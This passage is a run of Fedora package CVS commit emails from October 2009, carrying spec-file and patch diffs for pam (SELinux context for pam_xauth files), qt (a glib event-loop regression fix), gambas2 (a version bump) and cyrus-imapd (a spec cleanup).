+		fd = mkstemp(xauthority + sizeof(XAUTHENV));
+		save_errno = errno;
+		if (context != NULL) {
+			free(context);
+			setfscreatecon(NULL);
+		}
+#else
+		fd = mkstemp(xauthority + sizeof(XAUTHENV));
+		save_errno = errno;
+#endif
+
 		setfsuid(euid);
 		if (fd == -1) {
+			errno = save_errno;
 			pam_syslog(pamh, LOG_ERR,
 				   "error creating temporary file `%s': %m",
-				   xauthority + strlen(XAUTHENV) + 1);
+				   xauthority + sizeof(XAUTHENV));
 			retval = PAM_SESSION_ERR;
 			goto cleanup;
 		}
@@ -563,7 +602,7 @@ pam_sm_open_session (pam_handle_t *pamh,
 		/* Get a copy of the filename to save as a data item for
 		 * removal at session-close time. */
 		free(cookiefile);
-		cookiefile = strdup(xauthority + strlen(XAUTHENV) + 1);
+		cookiefile = strdup(xauthority + sizeof(XAUTHENV));
 
 		/* Save the filename. */
 		if (pam_set_data(pamh, DATANAME, cookiefile, cleanup) != PAM_SUCCESS) {


Index: pam.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pam/devel/pam.spec,v
retrieving revision 1.204
retrieving revision 1.205
diff -u -p -r1.204 -r1.205
--- pam.spec	1 Sep 2009 16:03:13 -0000	1.204
+++ pam.spec	29 Oct 2009 15:32:22 -0000	1.205
@@ -3,7 +3,7 @@
 Summary: An extensible library which provides authentication for applications
 Name: pam
 Version: 1.1.0
-Release: 5%{?dist}
+Release: 6%{?dist}
 # The library is BSD licensed with option to relicense as GPLv2+ - this option is redundant
 # as the BSD license allows that anyway. pam_timestamp and pam_console modules are GPLv2+,
 License: BSD and GPLv2+
@@ -26,6 +26,7 @@ Patch2:  pam-1.0.91-std-noclose.patch
 Patch3:  pam-1.1.0-cracklib-authtok.patch
 Patch4:  pam-1.1.0-console-nochmod.patch
 Patch5:  pam-1.1.0-notally.patch
+Patch6:  pam-1.1.0-xauth-context.patch
 
 %define _sbindir /sbin
 %define _moduledir /%{_lib}/security
@@ -91,6 +92,7 @@ mv pam-redhat-%{pam_redhat_version}/* mo
 %patch3 -p1 -b .authtok
 %patch4 -p1 -b .nochmod
 %patch5 -p1 -b .notally
+%patch6 -p1 -b .xauth-context
 
 libtoolize -f
 autoreconf
@@ -323,6 +325,9 @@ fi
 %doc doc/adg/*.txt doc/adg/html
 
 %changelog
+* Thu Oct 29 2009 Tomas Mraz <tmraz at redhat.com> 1.1.0-6
+- pam_xauth: set the approprate context when creating .xauth files (#531530)
+
 * Tue Sep  1 2009 Tomas Mraz <tmraz at redhat.com> 1.1.0-5
 - do not change permissions with pam_console_apply
 - drop obsolete pam_tally module and the faillog file (#461258)



From than at fedoraproject.org  Thu Oct 29 15:40:22 2009
From: than at fedoraproject.org (Than Ngo)
Date: Thu, 29 Oct 2009 15:40:22 +0000 (UTC)
Subject: rpms/qt/F-12 qt-x11-opensource-src-4.5.3-glib-event-loop.patch, NONE,
	1.1 qt.spec, 1.339, 1.340
Message-ID: <20091029154022.C301D11C0371@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/qt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4249

Modified Files:
	qt.spec 
Added Files:
	qt-x11-opensource-src-4.5.3-glib-event-loop.patch 
Log Message:
- fix glib-even-loop issue, regression which causes password dialogs get stuck


qt-x11-opensource-src-4.5.3-glib-event-loop.patch:
 qeventdispatcher_glib.cpp |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE qt-x11-opensource-src-4.5.3-glib-event-loop.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/corelib/kernel/qeventdispatcher_glib.cpp.than qt-x11-opensource-src-4.5.3/src/corelib/kernel/qeventdispatcher_glib.cpp
--- qt-x11-opensource-src-4.5.3/src/corelib/kernel/qeventdispatcher_glib.cpp.than	2009-10-29 16:15:58.000000000 +0100
+++ qt-x11-opensource-src-4.5.3/src/corelib/kernel/qeventdispatcher_glib.cpp	2009-10-29 16:16:22.000000000 +0100
@@ -263,7 +263,6 @@ QEventDispatcherGlibPrivate::QEventDispa
     (void) new (&timerSource->timerList) QTimerInfoList();
     timerSource->processEventsFlags = QEventLoop::AllEvents;
     g_source_set_can_recurse(&timerSource->source, true);
-    g_source_set_priority(&timerSource->source, G_PRIORITY_DEFAULT_IDLE);
     g_source_attach(&timerSource->source, mainContext);
 }
 


Index: qt.spec
===================================================================
RCS file: /cvs/extras/rpms/qt/F-12/qt.spec,v
retrieving revision 1.339
retrieving revision 1.340
diff -u -p -r1.339 -r1.340
--- qt.spec	19 Oct 2009 15:47:59 -0000	1.339
+++ qt.spec	29 Oct 2009 15:40:22 -0000	1.340
@@ -10,7 +10,7 @@ Summary: Qt toolkit
 Name:    qt
 Epoch:   1
 Version: 4.5.3
-Release: 6%{?dist}
+Release: 7%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
@@ -57,6 +57,7 @@ Patch53: qt-x11-opensource-src-4.5.0-fix
 # fix invalid assumptions about mysql_config --libs
 # http://bugzilla.redhat.com/440673
 Patch54: qt-x11-opensource-src-4.5.1-mysql_config.patch
+Patch55: qt-x11-opensource-src-4.5.3-glib-event-loop.patch
 
 # security patches
 
@@ -391,6 +392,7 @@ Qt libraries used for drawing widgets an
 %patch52 -p1 -b .sparc64
 %patch53 -p1 -b .qatomic-inline-asm
 %patch54 -p1 -b .mysql_config
+%patch55 -p1 -b .glib-event-loop
 
 # security fixes
 
@@ -987,6 +989,10 @@ fi
 
 
 %changelog
+* Thu Oct 29 2009 Than Ngo <than at redhat.com> - 4.5.3-7
+- fix glib-even-loop issue, regression which causes
+  Password dialogs get stuck
+
 * Fri Oct 16 2009 Than Ngo <than at redhat.com> - 4.5.3-6
 - subpackage sqlite plugin, add Require on qt-sqlite in qt-x11
   for assistant



From spot at fedoraproject.org  Thu Oct 29 15:43:07 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu, 29 Oct 2009 15:43:07 +0000 (UTC)
Subject: rpms/gambas2/F-12 gambas2.spec,1.22,1.23 sources,1.16,1.17
Message-ID: <20091029154309.A198911C02C9@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/gambas2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5153

Modified Files:
	gambas2.spec sources 
Log Message:
2.17.0 for f12


Index: gambas2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gambas2/F-12/gambas2.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- gambas2.spec	12 Sep 2009 12:35:38 -0000	1.22
+++ gambas2.spec	29 Oct 2009 15:43:03 -0000	1.23
@@ -1,6 +1,6 @@
 Name:		gambas2
 Summary:	IDE based on a basic interpreter with object extensions
-Version:	2.16.0
+Version:	2.17.0
 Release:	1%{?dist}
 License:	GPL+
 Group:		Development/Tools
@@ -1572,6 +1572,9 @@ update-mime-database %{_datadir}/mime &>
 %{_datadir}/%{name}/info/gb.xml.xslt.*
 
 %changelog
+* Thu Oct 29 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.17.0-1
+- update to 2.17.0
+
 * Fri Sep 11 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 2.16.0-1
 - update to 2.16.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gambas2/F-12/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	12 Sep 2009 12:35:38 -0000	1.16
+++ sources	29 Oct 2009 15:43:05 -0000	1.17
@@ -1 +1 @@
-7b2323eaa6f9fef5d70133eec419b95a  gambas2-2.16.0.tar.bz2
+dec2dde24106e4df1925fff0be13b6e5  gambas2-2.17.0.tar.bz2



From mhlavink at fedoraproject.org  Thu Oct 29 15:50:10 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Thu, 29 Oct 2009 15:50:10 +0000 (UTC)
Subject: rpms/cyrus-imapd/devel cyrus-imapd.spec,1.62,1.63
Message-ID: <20091029155010.80A4911C02C9@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/cyrus-imapd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7445

Modified Files:
	cyrus-imapd.spec 
Log Message:
spec cleanup (not complete yet)



Index: cyrus-imapd.spec
===================================================================
RCS file: /cvs/extras/rpms/cyrus-imapd/devel/cyrus-imapd.spec,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- cyrus-imapd.spec	9 Oct 2009 12:15:05 -0000	1.62
+++ cyrus-imapd.spec	29 Oct 2009 15:50:04 -0000	1.63
@@ -1,76 +1,30 @@
 Name: cyrus-imapd
 Version: 2.3.15
-Release: 3%{?dist}
-
-# ********************** BUILD TIME OPTIONS START **********************
-
-# To modify parameters, edit the .spec file or build like this:
-# rpm --rebuild --define='SEEN_DB skiplist' cyrus-imapd-2.x.x-x.src.rpm
-
-# use saslauth group
-%{!?SASLGROUP: %global SASLGROUP 1}
-# include deliver-wrapper
-%{!?DEL_WRAP: %global DEL_WRAP 0}
-# use preforking cyrus.conf
-%{!?PREFORK: %global PREFORK 1}
-# enable Netscape hack (recommended)
-%{!?NETSCAPEHACK: %global NETSCAPEHACK 1}
-# enable IMAP4 LIST extensions
-%{!?LISTEXT: %global LISTEXT 1}
-# enable IDLED support
-%{!?IDLED: %global IDLED 1}
-# enable SNMP support
-%{!?SNMP: %global SNMP 1}
-# force syncronous updates on ext3
-%{!?FORCESYNCEXT3: %global FORCESYNCEXT3 0}
-# include autocreate feature
-%{!?AUTOCREATE: %global AUTOCREATE 1}
-# don't check for RFC compliant line termination (bare newlines)
-%{!?NO_BARE_NL: %global NO_BARE_NL 0}
-# used syslog facility for logging
-%{!?SYSLOGFACILITY: %global SYSLOGFACILITY MAIL}
-# use -fpie for linking
-%{!?USEPIE: %global USEPIE 1}
-
-# ********************** BUILD TIME OPTIONS END ************************
+Release: 4%{?dist}
 
 %define _dbver db4
-# Do we need the perl install hack for RedHat > 7.3 ?
-
-%define _perlhack 1
-
-%define _withldap 1
-
-%define _snmpver net
 
 %define ssl_pem_file %{_sysconfdir}/pki/%{name}/%{name}.pem
+
 %define uid 76
-%if %{SASLGROUP}
 %define gid 76
-%define _saslgroup saslauth
-%endif
+
 %define _cyrususer cyrus
 %define _cyrusgroup mail
 %define _vardata %{_var}/lib/imap
 %define _spooldata %{_var}/spool/imap
 %define _cyrexecdir %{_exec_prefix}/lib/%{name}
+
+#FIXME: check if wise to remove (2x):
 %define _confdir master/conf
 %define _contribdir doc/contrib
-%if %{PREFORK}
+
 %define _cyrusconf %{_confdir}/prefork.conf
-%else
-%define _cyrusconf %{_confdir}/normal.conf
-%endif
 
 Summary: A high-performance mail server with IMAP, POP3, NNTP and SIEVE support
-# BSD with advertising: imap/setproctitle.c, lib/mkgmtime.c, lib/sysexits.h
-# the rest is CMU
-License: MIT and BSD with advertising
+License: MIT
 Group: System Environment/Daemons
 URL: http://cyrusimap.web.cmu.edu/
-#Packager: Simon Matter <simon.matter at invoca.ch>
-#Vendor: Invoca Systems
-#Distribution: Invoca Linux Server
 Source0: ftp://ftp.andrew.cmu.edu/pub/cyrus/%{name}-%{version}.tar.gz
 Source3: cyrus-deliver-wrapper.c
 Source4: cyrus-user-procmailrc.template
@@ -104,36 +58,36 @@ Source33: cyrus-imapd-README.skiplist_re
 Patch0: cyrus-imapd-2.2.12-no_transfig.patch
 Patch1: http://email.uoa.gr/download/cyrus/cyrus-imapd-2.3.12/cyrus-imapd-2.3.12p2-autocreate-0.10-0.diff
 Patch2: http://email.uoa.gr/download/cyrus/cyrus-imapd-2.3.12/cyrus-imapd-2.3.12p2-autosieve-0.6.0.diff
-#Patch3: http://email.uoa.gr/download/cyrus/cyrus-imapd-2.3.9/cyrus-imapd-2.3.9-rmquota+deletemailbox-0.2-1.diff
 Patch4: http://servercc.oakton.edu/~jwade/cyrus/cyrus-imapd-2.1.3/cyrus-imapd-2.1.3-flock.patch
 Patch6: cyrus-imapd-2.1.16-getrlimit.patch
-Patch7: cyrus-imapd-2.3.7-nobarenewlinescheck.patch
 Patch10: cyrus-imapd-acceptinvalidfrom.patch
 Patch12: cyrus-imapd-2.3.7-notify_sms.patch
 Patch14: cyrus-imapd-2.3.1-authid_normalize.patch
 Patch15: cyrus-imapd-2.3.1-make_md5_defaults.patch
 Patch18: cyrus-imapd-2.3.7-krb4.patch
+
 # https://bugzilla.redhat.com/show_bug.cgi?id=461875
 Patch19: cyrus-imapd-2.3.12p2-current-db.patch
+
 Patch20: cyrus-imapd-2.3.15-bufov.patch
+
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
+
 BuildRequires: autoconf >= 2.59
 BuildRequires: cyrus-sasl-devel >= 2.1.15-1, perl-devel, tcp_wrappers
 BuildRequires: %{_dbver}-devel, openssl-devel, pkgconfig
 BuildRequires: flex, bison, groff >= 1.15-8, automake
 BuildRequires: openldap-devel
 BuildRequires: krb5-devel
-%if %{SNMP}
-BuildRequires: %{_snmpver}-snmp-devel
-%endif
+BuildRequires: net-snmp-devel
+
 Requires(post): e2fsprogs, /sbin/chkconfig, /sbin/service, perl, grep, coreutils, findutils
 Requires(preun): /sbin/chkconfig, /sbin/service, coreutils
 Requires(postun): /sbin/service
+
 Requires: %{name}-utils = %{version}-%{release}
 Requires: cyrus-sasl-lib >= 2.1.15, file >= 3.35-1, %{_dbver}-utils
 Requires: perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
-Obsoletes: cyrus-murder, cyrus-nntp
-Provides: cyrus-murder, cyrus-nntp
 
 %description
 The %{name} package contains the core of the Cyrus IMAP server.
@@ -172,8 +126,6 @@ The %{name}-devel package contains heade
 necessary for developing applications which use the imclient library.
 
 %package perl
-Provides: perl-Cyrus
-Obsoletes: perl-Cyrus
 Group: System Environment/Libraries
 Summary: Cyrus IMAP server utility Perl modules
 
@@ -197,16 +149,10 @@ one running the server.
 %prep
 %setup -q
 %patch0 -p1 -b .no_transfig
-%if %{AUTOCREATE}
 %patch1 -p1 -b .autocreate
 %patch2 -p1 -b .autosieve
-#%patch3 -p1 -b .rmquota
-%endif
 %patch4 -p1 -b .flock
 %patch6 -p1 -b .getrlimit
-%if %{NO_BARE_NL}
-%patch7 -p1 -b .nobarenewlinescheck
-%endif
 %patch10 -p1 -b .acceptinvalidfrom
 %patch12 -p1 -b .notify_sms
 %patch14 -p1 -b .authid_normalize
@@ -232,30 +178,17 @@ if pkg-config openssl; then
 fi
 CPPFLAGS="-I%{_includedir}/kerberosIV $CPPFLAGS"; export CPPFLAGS
 CCDLFLAGS="-rdynamic"; export CCDLFLAGS
-%if %{USEPIE}
 %ifnarch ppc ppc64
 LDFLAGS="$LDFLAGS -pie"; export LDFLAGS
 %endif
-%endif
 
 %{configure} \
-%if %{NETSCAPEHACK}
   --enable-netscapehack \
-%endif
-%if %{LISTEXT}
   --enable-listext \
-%endif
-%if %{IDLED}
   --enable-idled \
-%endif
-%if %{_withldap}
   --with-ldap=/usr \
-%endif
-%if %{SNMP}
   --with-snmp \
-%else
   --without-snmp \
-%endif
   --enable-murder \
   --enable-replication \
   --enable-nntp \
@@ -264,16 +197,13 @@ LDFLAGS="$LDFLAGS -pie"; export LDFLAGS
   --with-service-path=%{_cyrexecdir} \
   --with-bdb-incdir=%{_includedir}/%{_dbver} \
   --with-extraident="Fedora-RPM-%{version}-%{release}" \
-  --with-syslogfacility=%{SYSLOGFACILITY} \
+  --with-syslogfacility=MAIL \
   --with-krbimpl=mit
 
 %{__make} -C man -f Makefile.dist
 %{__make} -C doc -f Makefile.dist
 %{__make}
 %{__make} -C notifyd notifytest
-%if %{DEL_WRAP}
-%{__cc} $CFLAGS -DLIBEXECDIR=\"%{_cyrexecdir}\" -Wall -o deliver-wrapper %{SOURCE3}
-%endif
 
 # Modify docs master --> cyrus-master
 pushd man
@@ -303,10 +233,8 @@ find doc -name "*.html.*" -type f | xarg
 %{__install} -m 644 %{SOURCE23} doc/README.RPM
 %{__install} -m 644 %{SOURCE24} doc/README.HOWTO-recover-mailboxes.db
 %{__install} -m 644 %{SOURCE33} doc/README.skiplist_recovery
-%if %{AUTOCREATE}
 %{__install} -m 644 %{SOURCE8}  doc/README.autocreate
 %{__install} -m 644 %{SOURCE9}  doc/README.autosievefolder
-%endif
 %{__install} -d doc/m4
 %{__install} -m 644 %{SOURCE26} doc/m4/cyrus-procmailrc
 %{__install} -m 644 %{SOURCE4}  doc/m4/cyrus-user-procmailrc.template
@@ -317,11 +245,9 @@ find doc -name "*.html.*" -type f | xarg
 %{__perl} -pi -e "s@/var/imap/@%{_vardata}/@" %{_confdir}/*.conf doc/cyrusv2.mc doc/m4/%{name}-sendmail-8.12.9-cyrusv2.m4
 
 # enable/disable idled in .conf files to prevent error messages
-%if %{IDLED}
-  %{__perl} -pi -e "s/#  idled/  idled/" %{_confdir}/*.conf
-%else
-  %{__perl} -pi -e "s/  idled/#  idled/" %{_confdir}/*.conf
-%endif
+
+#FIXME:check if required in distributed conf, remove otherways
+%{__perl} -pi -e "s/#  idled/  idled/" %{_confdir}/*.conf
 
 %install
 %{__rm} -rf %{buildroot}
@@ -337,9 +263,6 @@ popd
 %{__make} install DESTDIR=%{buildroot} PREFIX=%{_prefix} mandir=%{_mandir}
 %{__make} -C man install DESTDIR=%{buildroot} PREFIX=%{_prefix} mandir=%{_mandir}
 
-%if %{DEL_WRAP}
-%{__install} -m 2755 deliver-wrapper    %{buildroot}%{_cyrexecdir}/
-%endif
 %{__install} -m 755 imtest/imtest       %{buildroot}%{_bindir}/
 %{__install} -m 755 notifyd/notifytest  %{buildroot}%{_bindir}/
 %{__install} -m 755 perl/imap/cyradm    %{buildroot}%{_bindir}/
@@ -355,9 +278,7 @@ done
   %{buildroot}%{_libdir}/sasl \
   %{buildroot}%{_spooldata} \
   %{buildroot}%{_vardata}/{user,quota,proc,log,msg,socket,db,sieve,sync,md5,rpm,backup,meta} \
-%if %{_withldap}
   %{buildroot}%{_vardata}/ptclient \
-%endif
   %{buildroot}%{_datadir}/%{name}/rpm \
   %{buildroot}%{_sysconfdir}/pki/%{name} \
   %{_contribdir}
@@ -374,7 +295,6 @@ done
 %{__install} -m 644 %{SOURCE19}   %{_contribdir}/cpmsg
 %{__install} -m 644 %{SOURCE20}   %{_contribdir}/folderxfer
 %{__install} -m 644 %{SOURCE21}   %{_contribdir}/inboxfer
-%{__install} -m 644 %{SOURCE22}   %{_contribdir}/
 %{__install} -m 644 %{SOURCE30}   %{_contribdir}/README
 
 # fix permissions on perl .so files
@@ -443,10 +363,6 @@ touch %{buildroot}%{ssl_pem_file}
 %{__rm} -f %{buildroot}%{_cyrexecdir}/pop3proxyd
 find %{buildroot} -name "perllocal.pod" -exec %{__rm} -f {} \;
 find %{buildroot} -name ".packlist" -exec %{__rm} -f {} \;
-%if !%{IDLED}
-%{__rm} -f %{buildroot}%{_mandir}/man8/idled.8*
-%{__rm} -f doc/man/idled.8.html
-%endif
 %{__rm} -f doc/text/Makefile
 %{__rm} -f %{buildroot}%{_mandir}/man8/syncnews.8*
 %{__rm} -f doc/man/syncnews.8.html
@@ -467,25 +383,16 @@ fi
 # Force synchronous updates, usually only on ext2 filesystems
 for i in %{_vardata}/{user,quota} %{_spooldata}
 do
-%if %{FORCESYNCEXT3}
-  if [ $(find $i -maxdepth 0 -printf %%F) = "ext2" -o $(find $i -maxdepth 0 -printf %%F) = "ext3" ]; then
-%else
   if [ $(find $i -maxdepth 0 -printf %%F) = "ext2" ]; then
-%endif
     chattr -R +S $i 2>/dev/null
   fi
 done
 
 # prevent idled related errors to show up
-%if %{IDLED}
-  if grep -q "^#  idled" %{_sysconfdir}/cyrus.conf ; then
+#FIXME:check if it changes anything nowadays? remove otherways
+if grep -q "^#  idled" %{_sysconfdir}/cyrus.conf ; then
     %{__perl} -pi -e "s/^#  idled/  idled/" %{_sysconfdir}/cyrus.conf
-  fi
-%else
-  if grep -q "^  idled" %{_sysconfdir}/cyrus.conf ; then
-    %{__perl} -pi -e "s/^  idled/#  idled/" %{_sysconfdir}/cyrus.conf
-  fi
-%endif
+fi
 
 # Create SSL certificates
 exec > /dev/null 2> /dev/null
@@ -514,9 +421,7 @@ if [ $1 = 0 ]; then
   /sbin/chkconfig --del %{name}
   %{__rm} -f %{_vardata}/socket/* 2> /dev/null
   %{__rm} -f %{_vardata}/proc/* 2> /dev/null
-%if %{_withldap}
   %{__rm} -f %{_vardata}/ptclient/ptsock 2> /dev/null
-%endif
 fi
 
 %postun
@@ -526,61 +431,30 @@ fi
 
 %pre utils
 # Create 'cyrus' user on target host
-%if %{SASLGROUP}
-/usr/sbin/groupadd -g %{gid} -r %{_saslgroup} 2> /dev/null || :
-/usr/sbin/useradd -c "Cyrus IMAP Server" -d %{_vardata} -g %{_cyrusgroup} \
-  -G %{_saslgroup} -s /sbin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
-%else
+/usr/sbin/groupadd -g %{gid} -r saslauth 2> /dev/null || :
 /usr/sbin/useradd -c "Cyrus IMAP Server" -d %{_vardata} -g %{_cyrusgroup} \
-  -s /sbin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
-%endif
+  -G saslauth -s /sbin/nologin -u %{uid} -r %{_cyrususer} 2> /dev/null || :
 
 %post utils
 # Add service entries if necessary
-if ! %{__grep} -q ^lmtp %{_sysconfdir}/services; then
-  echo -e 'lmtp\t\t24/tcp\t\t\t\t# LMTP Mail Delivery over TCP' >> %{_sysconfdir}/services
-  echo -e 'lmtp\t\t24/udp\t\t\t\t# LMTP Mail Delivery over TCP' >> %{_sysconfdir}/services
-fi
-if ! %{__grep} -q ^nntps %{_sysconfdir}/services; then
-  echo -e 'nntps\t\t563/tcp\t\t\t\t# NNTP over SSL' >> %{_sysconfdir}/services
-  echo -e 'nntps\t\t563/udp\t\t\t\t# NNTP over SSL' >> %{_sysconfdir}/services
-fi
-if ! %{__grep} -q ^pop3s %{_sysconfdir}/services; then
-  echo -e 'pop3s\t\t995/tcp\t\t\t\t# POP-3 over SSL' >> %{_sysconfdir}/services
-  echo -e 'pop3s\t\t995/udp\t\t\t\t# POP-3 over SSL' >> %{_sysconfdir}/services
-fi
-if ! %{__grep} -q ^imaps %{_sysconfdir}/services; then
-  echo -e 'imaps\t\t993/tcp\t\t\t\t# IMAP over SSL' >> %{_sysconfdir}/services
-  echo -e 'imaps\t\t993/udp\t\t\t\t# IMAP over SSL' >> %{_sysconfdir}/services
-fi
-if ! %{__grep} -q ^sieve %{_sysconfdir}/services; then
-  echo -e 'sieve\t\t2000/tcp\t\t\t# Sieve Mail Filter Daemon' >> %{_sysconfdir}/services
-  echo -e 'sieve\t\t2000/udp\t\t\t# Sieve Mail Filter Daemon' >> %{_sysconfdir}/services
-fi
+#FIXME: is this needed?
 if ! %{__grep} -q ^csync %{_sysconfdir}/services; then
   echo -e 'csync\t\t2005/tcp\t\t\t# Cyrus IMAP Replication Daemon' >> %{_sysconfdir}/services
   echo -e 'csync\t\t2005/udp\t\t\t# Cyrus IMAP Replication Daemon' >> %{_sysconfdir}/services
 fi
-if ! %{__grep} -q ^mupdate %{_sysconfdir}/services; then
-  echo -e 'mupdate\t\t3905/tcp\t\t\t# Cyrus IMAP Mupdate Daemon' >> %{_sysconfdir}/services
-  echo -e 'mupdate\t\t3905/udp\t\t\t# Cyrus IMAP Mupdate Daemon' >> %{_sysconfdir}/services
-fi
-if ! %{__grep} -q ^fud %{_sysconfdir}/services; then
-  echo -e 'fud\t\t4201/udp\t\t\t# Cyrus IMAP FUD Daemon' >> %{_sysconfdir}/services
-fi
 
 %postun utils
 if [ $1 = 0 ]; then
   /usr/sbin/userdel %{_cyrususer} 2> /dev/null || :
-%if %{SASLGROUP}
-  if [ "$(%{__grep} ^%{_saslgroup}: %{_sysconfdir}/group | cut -d: -f4-)" = "" ]; then
-    /usr/sbin/groupdel %{_saslgroup} 2> /dev/null || :
-  fi
-%endif
+if [ "$(%{__grep} ^saslauth: %{_sysconfdir}/group | cut -d: -f4-)" = "" ]; then
+  /usr/sbin/groupdel saslauth 2> /dev/null || :
+fi
 fi
 
 %files
 %defattr(-,root,root,-)
+%doc COPYRIGHT README
+%doc doc/*
 %config(noreplace) %{_sysconfdir}/cyrus.conf
 %config(noreplace) %{_sysconfdir}/imapd.conf
 %attr(0755,root,root) %{_sysconfdir}/rc.d/init.d/%{name}
@@ -640,12 +514,8 @@ fi
 %{_cyrexecdir}/upgradesieve
 %{_cyrexecdir}/cvt_cyrusdb_all
 %{_cyrexecdir}/rpm_set_permissions
-%if %{IDLED}
 %{_cyrexecdir}/idled
-%endif
-%if %{AUTOCREATE}
 %{_cyrexecdir}/compile_sieve
-%endif
 %{_cyrexecdir}/mupdate
 %{_cyrexecdir}/mupdate-loadgen.pl
 %{_cyrexecdir}/proxyd
@@ -655,14 +525,9 @@ fi
 %{_cyrexecdir}/sync_server
 %{_cyrexecdir}/cyrfetchnews
 %{_cyrexecdir}/nntpd
-%if %{_withldap}
 %{_cyrexecdir}/ptdump
 %{_cyrexecdir}/ptexpire
 %{_cyrexecdir}/ptloader
-%endif
-%if %{DEL_WRAP}
-%attr(2755,%{_cyrususer},%{_cyrusgroup}) %{_cyrexecdir}/deliver-wrapper
-%endif
 %attr(0750,%{_cyrususer},%{_cyrusgroup}) %dir %{_vardata}
 %attr(0750,%{_cyrususer},%{_cyrusgroup}) %dir %{_vardata}/socket
 %attr(0700,%{_cyrususer},%{_cyrusgroup}) %dir %{_vardata}/user
@@ -677,17 +542,13 @@ fi
 %attr(0700,%{_cyrususer},%{_cyrusgroup}) %dir %{_vardata}/rpm
 %attr(0700,%{_cyrususer},%{_cyrusgroup}) %dir %{_vardata}/backup
 %attr(0700,%{_cyrususer},%{_cyrusgroup}) %dir %{_vardata}/meta
-%if %{_withldap}
 %attr(0700,%{_cyrususer},%{_cyrusgroup}) %dir %{_vardata}/ptclient
-%endif
 %attr(0700,%{_cyrususer},%{_cyrusgroup}) %dir %{_spooldata}
 %dir %{_datadir}/%{name}
 %dir %{_datadir}/%{name}/rpm
 %{_datadir}/%{name}/rpm/*
 %{_mandir}/man5/*
 %{_mandir}/man8/*
-%doc COPYRIGHT README
-%doc doc/*
 %dir %{_sysconfdir}/pki/%{name}
 %attr(0640,root,%{_cyrusgroup}) %ghost %config(missingok,noreplace) %verify(not md5 size mtime) %{ssl_pem_file}
 
@@ -731,6 +592,9 @@ fi
 %{_mandir}/man1/*
 
 %changelog
+* Thu Oct 29 2009 Michal Hlavinka <mhlavink at redhat.com> - 2.3.15-4
+- spec cleanup
+
 * Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 2.3.15-3
 - fix cyrus user shell for db import (#528126)
 



From tmraz at fedoraproject.org  Thu Oct 29 15:54:52 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Thu, 29 Oct 2009 15:54:52 +0000 (UTC)
Subject: rpms/pam/F-12 pam-1.1.0-xauth-context.patch, NONE, 1.1 pam.spec,
	1.204, 1.205
Message-ID: <20091029155452.B8FA711C008B@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/rpms/pam/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8767

Modified Files:
	pam.spec 
Added Files:
	pam-1.1.0-xauth-context.patch 
Log Message:
* Thu Oct 29 2009 Tomas Mraz <tmraz at redhat.com> 1.1.0-6
- pam_xauth: set the approprate context when creating .xauth files (#531530)


pam-1.1.0-xauth-context.patch:
 Makefile.am |    2 +-
 pam_xauth.c |   45 ++++++++++++++++++++++++++++++++++++++++++---
 2 files changed, 43 insertions(+), 4 deletions(-)

--- NEW FILE pam-1.1.0-xauth-context.patch ---
diff -up Linux-PAM-1.1.0/modules/pam_xauth/Makefile.am.xauth-context Linux-PAM-1.1.0/modules/pam_xauth/Makefile.am
--- Linux-PAM-1.1.0/modules/pam_xauth/Makefile.am.xauth-context	2006-06-09 18:44:08.000000000 +0200
+++ Linux-PAM-1.1.0/modules/pam_xauth/Makefile.am	2009-10-29 14:34:18.000000000 +0100
@@ -16,7 +16,7 @@ secureconfdir = $(SCONFIGDIR)
 
 AM_CFLAGS = -I$(top_srcdir)/libpam/include -I$(top_srcdir)/libpamc/include
 AM_LDFLAGS = -no-undefined -avoid-version -module \
-	-L$(top_builddir)/libpam -lpam
+	-L$(top_builddir)/libpam -lpam @LIBSELINUX@
 if HAVE_VERSIONING
   AM_LDFLAGS += -Wl,--version-script=$(srcdir)/../modules.map
 endif
diff -up Linux-PAM-1.1.0/modules/pam_xauth/pam_xauth.c.xauth-context Linux-PAM-1.1.0/modules/pam_xauth/pam_xauth.c
--- Linux-PAM-1.1.0/modules/pam_xauth/pam_xauth.c.xauth-context	2009-04-09 10:07:29.000000000 +0200
+++ Linux-PAM-1.1.0/modules/pam_xauth/pam_xauth.c	2009-10-29 16:13:21.000000000 +0100
@@ -57,6 +57,12 @@
 #include <security/pam_modutil.h>
 #include <security/pam_ext.h>
 
+#ifdef WITH_SELINUX
+#include <selinux/selinux.h>
+#include <selinux/label.h>
+#include <sys/stat.h>
+#endif
+
 #define DATANAME "pam_xauth_cookie_file"
 #define XAUTHENV "XAUTHORITY"
 #define HOMEENV  "HOME"
@@ -461,6 +467,10 @@ pam_sm_open_session (pam_handle_t *pamh,
 			  getuid(), getgid(),
 			  xauth, "-f", cookiefile, "nlist", display,
 			  NULL) == 0) {
+		int save_errno;
+#ifdef WITH_SELINUX
